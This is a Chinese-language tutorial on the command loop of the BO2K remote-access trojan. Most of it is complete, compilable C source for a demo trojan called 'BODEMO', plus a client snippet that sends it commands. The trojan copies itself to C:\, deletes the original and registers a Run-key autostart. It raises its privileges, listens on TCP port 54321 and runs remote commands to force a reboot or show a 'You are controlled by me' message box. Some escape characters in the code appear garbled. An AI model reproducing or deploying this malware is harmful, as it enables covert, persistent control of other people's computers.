BO2K服务器命令循环机制原理上期讲到BO2K服务器特洛伊木马的实现原理,即首先建立自身拷贝版,以自身全路径名为参数启动拷贝版,自身结束。拷贝版运行时首先删除原来的程序(根据传进来的参数删)。而后检查注册表,如果还没注册则注册拷贝版程序为系统启动时自启动。特洛伊木马过程完成。 之后,接着初始化命令数组,建立侦听端口,进入命令循环。(这些都是Entrypoint()函数的工作)。这一期再来讲命令循环机制。 注1:这一期的BODEMO有完整的特洛伊木马实现,还有一个完整的命令循环。不过,只做了两个命令,0号命令和1号命令。但对于演示命令循环原理我想是够了。0号命令会使服务器端机器重启动(已具黑客雏形了),1号命令会在服务器端机器弹出个MessageBox。 注2:关于BODEMO的编译,任何WINDOWS的C编译器都能很容易的编译通过,无须任何设置,不过注意连上链接库wsock32.lib。如果用VC,创建一纯空的WIN32 APP,将下面所附代码粘贴过去即可。如果用LCC,编译结果只有10K大小。 注3:这个BODEMO去掉了错误检查代码,因此离实用差了一大截。拿出来仅供学习用,希望诸君打好基础共同发展中国软件业。若有什么问题,mail to:saiwai76@263.net
话入正题,Entrypoint()执行过程如下:1 初始化命令数组(command_handler_table),即分配一块内存存放命令,缺省情况最多可有1024个命令,初始化命令为NULL。 每个命令的结构是这样的:命令ID号,一个函数指针,若干参数。因此,BO大体是这样执行的:侦听端口,接收客户数据包,从数据包中提取出命令ID和参数,根据ID到命令数组查找命令,执行命令指针所指函数,并向客户返回结果信息。BODEMO基本上就是这样的。不过,实际的BO2K中同时支持UDP和TCP,并支持数据包加密。因此,比这个过程复杂得多。下期的BO网络原理中我再来讲这些。2 注册命令(RegisterNativeCommands()),这一步建立一个侦听SOCKET,登记命令函数到命令数组。BODEMO只登记了两个命令函数,仅作演示。有兴趣者可自己再写些命令函数。3 进入命令循环(CommandHandlerLoop()),这一步侦听客户控制命令,分派命令。在BODEMO中,如果接收到0,则执行0号命令(重起机器),如果接收到1,则执行1号命令(空MessageBox())。请注意这段代码中动态调整进程优先级,这和MFC之CWinThread::Run()有异曲同工之妙。
在客户端用如下一段代码即可给BODEMO发命令。 SOCKET ss; ss = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sa; memset(&sa, 0, sizeof(struct sockaddr_in)); sa.sin_family= AF_INET; sa.sin_port= htons(54321); sa.sin_addr.S_un.S_addr= inet_addr("xxx.xxx.xxx.xxx"); /*Server’s IP address*/ int ret = connect(ss,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in)); if(SOCKET_ERROR == ret) { closesocket(ss); return ; } int boPacket[10]; boPacket[0] = 1; /*Command ID, 0 or 1. */ send(ss,(char *)boPacket,sizeof(int)*10,MSG_OOB);
附BODEMO源码:// #include <windows.h>#include<winsock.h>
/******************global variable*******************************/BOOL g_bIsWinNT;/******************global variable*******************************/void GetOSVersion(void);int InitializeCommandDispatcher(void);void InitializeCommands(void);void TerminateCommands(void);int KillCommandDispatcher(void);void CommandHandlerLoop(void);
DWORD WINAPI EntryPoint(LPVOID lpParameter){ InitializeCommandDispatcher(); //Alloc memory for command_handler_table and //command_description_table //Initialize them as NULL
// Initialize commands InitializeCommands();
// Do Primary Command Loop CommandHandlerLoop(); // Kill plugins TerminateCommands();
// Kill Command Dispatcher //Delete command_table memory KillCommandDispatcher();
return 0;}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ){ GetOSVersion();
int nInstall=0; char *svRunRegKey; svRunRegKey="SOFTWARE//Microsoft//Windows//CurrentVersion//Run"; // Check for file to delete //第一次运行BO2K时,BO会以自身全路径名作为参数启动BO拷贝版 //BO拷贝版根据这个参数删除BO自身。 //这段代码只有一次运行机会。 char *svCmdLine=GetCommandLine(); while(svCmdLine[0]!='/0') { svCmdLine++; if((*(svCmdLine-1))==' ') break; } if(svCmdLine[0]!='/0') //找到了要删除的文件,删除之 { while(DeleteFile(svCmdLine)==0) { if(GetLastError()==ERROR_FILE_NOT_FOUND) break; Sleep(100); } } // Get current module location char svFileName[512]; char svTargetName[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL),svFileName,512); lstrcpy(svTargetName,"C://Bodemo.exe"); // ----- 1: Check for installation ----- if(GetFileAttributes(svTargetName) != 0xFFFFFFFF) nInstall=1; // if(nInstall == 0) //还没安装BO..., 只在第一次运行BO时会出现此情况 { // Make copy of file while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep(1000); //Set startup key //将BO注册为系统启动时自启动。 HKEY key; if(g_bIsWinNT) { if(RegOpenKey(HKEY_CURRENT_USER,svRunRegKey,&key)==ERROR_SUCCESS) { RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName, lstrlen(svTargetName)); RegCloseKey(key); } } else { if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) { RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName, lstrlen(svTargetName)); RegCloseKey(key); } }
// And now run the copy, //注意,以自身全路径名为参数启动BO拷贝版 STARTUPINFO si; PROCESS_INFORMATION pi; char svComLine[2048]; lstrcpyn(svComLine,svTargetName,2048); lstrcpyn(svComLine+lstrlen(svComLine)," ",2048-lstrlen(svComLine)); lstrcpyn(svComLine+lstrlen(svComLine),svFileName,2048-lstrlen(svComLine)); memset(&si,0,sizeof(STARTUPINFO)); si.cb=sizeof(STARTUPINFO); si.dwFlags=STARTF_FORCEOFFFEEDBACK; CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi); } else //已安装BO...,除第一次运行BO外,都是这种情况。 { // Enable permissions on Windows NT if(g_bIsWinNT) { HANDLE tok; //调整权限,否则无重起机器权限 if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok)) { LUID luid; TOKEN_PRIVILEGES tp; LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid); tp.PrivilegeCount=1; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid=luid; AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL); LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid); tp.PrivilegeCount=1; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid=luid; AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL); CloseHandle(tok); } } //进入命令循环 EntryPoint(GetModuleHandle(NULL)); }
return 0;}
// Determine Operating System Versionvoid GetOSVersion(void){ OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if(GetVersionEx(&osvi)==FALSE) { MessageBox( HWND_DESKTOP, "Unable to get version info", "GetOSVersion()", MB_OK ); }
if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) { MessageBox( HWND_DESKTOP, "This application does not run under WIN32s!", "Error", MB_OK ); } if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) g_bIsWinNT = 1; else g_bIsWinNT = 0;}
/************Bo command process *****/ //本期重点所在#define MAX_BO_COMMANDS 1024typedef int (*BO_CMD_HANDLER)(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3);typedef struct { BOOL bNativeComm; char *svFolderName; char *svCommName; char *svArgDesc1; char *svArgDesc2; char *svArgDesc3;} BO_CMD_DESC;
BO_CMD_HANDLER *command_handler_table=NULL;BO_CMD_DESC *command_description_table=NULL;
HANDLE g_hDispatchMutex=NULL; int InitializeCommandDispatcher(void){ int i;
command_handler_table= (BO_CMD_HANDLER *)malloc(sizeof(BO_CMD_HANDLER)*MAX_BO_COMMANDS); if(command_handler_table==NULL) return -1; command_description_table=(BO_CMD_DESC *) malloc(sizeof(BO_CMD_DESC)*MAX_BO_COMMANDS); if(command_description_table==NULL) return -1; for(i=0;i<MAX_BO_COMMANDS;i++) command_handler_table[i]=NULL; g_hDispatchMutex=CreateMutex(NULL,FALSE,NULL); if(g_hDispatchMutex==NULL) return -1;
return 0;}//static DWORD WINAPI MBThread(LPVOID parm){ char *svText = (char *) parm; char *svMsg,*svTitle;
svMsg=svText; svTitle=svText+lstrlen(svMsg)+1;
MessageBox(GetDesktopWindow(),svMsg,svTitle,MB_OK | MB_SETFOREGROUND | MB_SYSTEMMODAL); free(parm);
return 0;}int CmdProc_SysMessageBox(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3){ char *ptr; int msglen; DWORD tid;
msglen=lstrlen(svArg3)+lstrlen(svArg2)+2; ptr=(char *) malloc(msglen); lstrcpy(ptr,svArg3); lstrcpy(ptr+lstrlen(svArg3)+1,svArg2); CreateThread(NULL,0,MBThread,ptr,0,&tid);
return 0;}int CmdProc_SysReboot(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3){ BOOL bRet; bRet=ExitWindowsEx(EWX_FORCE| EWX_REBOOT, 0); return 0;}void RegisterNativeCommands(){ //RegisterNativeCommand(BO_SYSREBOOT,CmdProc_SysReboot); //RegisterNativeCommand(BO_SYSLOGKEYS,CmdProc_SysLogKeys); INT command = 0; command_handler_table[command]=CmdProc_SysReboot; command_description_table[command].svCommName=""; command_description_table[command].svFolderName=""; command_description_table[command].svArgDesc1=""; command_description_table[command].svArgDesc2=""; command_description_table[command].svArgDesc3=""; command_description_table[command].bNativeComm=TRUE; // command++; command_handler_table[command]=CmdProc_SysMessageBox; command_description_table[command].svCommName=""; command_description_table[command].svFolderName=""; command_description_table[command].svArgDesc1=""; command_description_table[command].svArgDesc2="Bodemo"; command_description_table[command].svArgDesc3="You are controlled by me"; command_description_table[command].bNativeComm=TRUE;}//SOCKET s;void InitializeCommands(void){ WSADATA wsaData; if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return; // Register Native BO Commands RegisterNativeCommands(); struct sockaddr_in sa; memset(&sa,0,sizeof(struct sockaddr_in));; sa.sin_family= AF_INET; sa.sin_port= htons(54321); sa.sin_addr.S_un.S_addr=INADDR_ANY; if((s= socket(AF_INET, SOCK_STREAM, 0)) < 0) return; if(bind(s,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in)) < 0) { closesocket(s); return ; /* bind address to socket */ } listen(s,3);}int DispatchCommand(int command,SOCKET s, int comid, int nArg1, char *svArg2,char *svArg3);void CommandHandlerLoop(void){ BOOL bIdle=FALSE; struct sockaddr sa; memset(&sa,0,sizeof(struct sockaddr)); int len = sizeof(struct sockaddr); int command,comid,nArg1; char *svArg2,*svArg3; char *boPacket; while(1) { if(!bIdle) { SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_IDLE); bIdle=TRUE; } SOCKET acc=accept(s,&sa,&len); if(acc == INVALID_SOCKET)continue; if(bIdle) { SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL); bIdle=FALSE; unsigned long ll; ioctlsocket(acc,FIONREAD,&ll); if(ll>0) { boPacket = (char*)malloc(ll+1); recv(acc,boPacket,ll,MSG_PEEK); int*p = (int *)boPacket; command=p[0]; comid = 0; nArg1 = 0; svArg2=""; svArg3=""; DispatchCommand(command,acc,comid,nArg1,svArg2,svArg3); free(boPacket); closesocket(acc); } else closesocket(acc); } Sleep(20); } }void TerminateCommands(void){ closesocket(s); WSACleanup();}
int KillCommandDispatcher(void){ CloseHandle(g_hDispatchMutex); if(command_handler_table) free(command_handler_table); if(command_description_table) free(command_description_table); return 0;}int DispatchCommand(int command,SOCKET s, int comid, int nArg1, char *svArg2, char *svArg3){ BO_CMD_HANDLER handler; if(command<0 || command >= MAX_BO_COMMANDS)return -1; int ret; if(WaitForSingleObject(g_hDispatchMutex,INFINITE)!=WAIT_OBJECT_0) return -1; handler=command_handler_table[command]; if(handler==NULL) { ReleaseMutex(g_hDispatchMutex); return -1; } ret=handler(s, comid, nArg1, svArg2, svArg3); ReleaseMutex(g_hDispatchMutex); return ret;}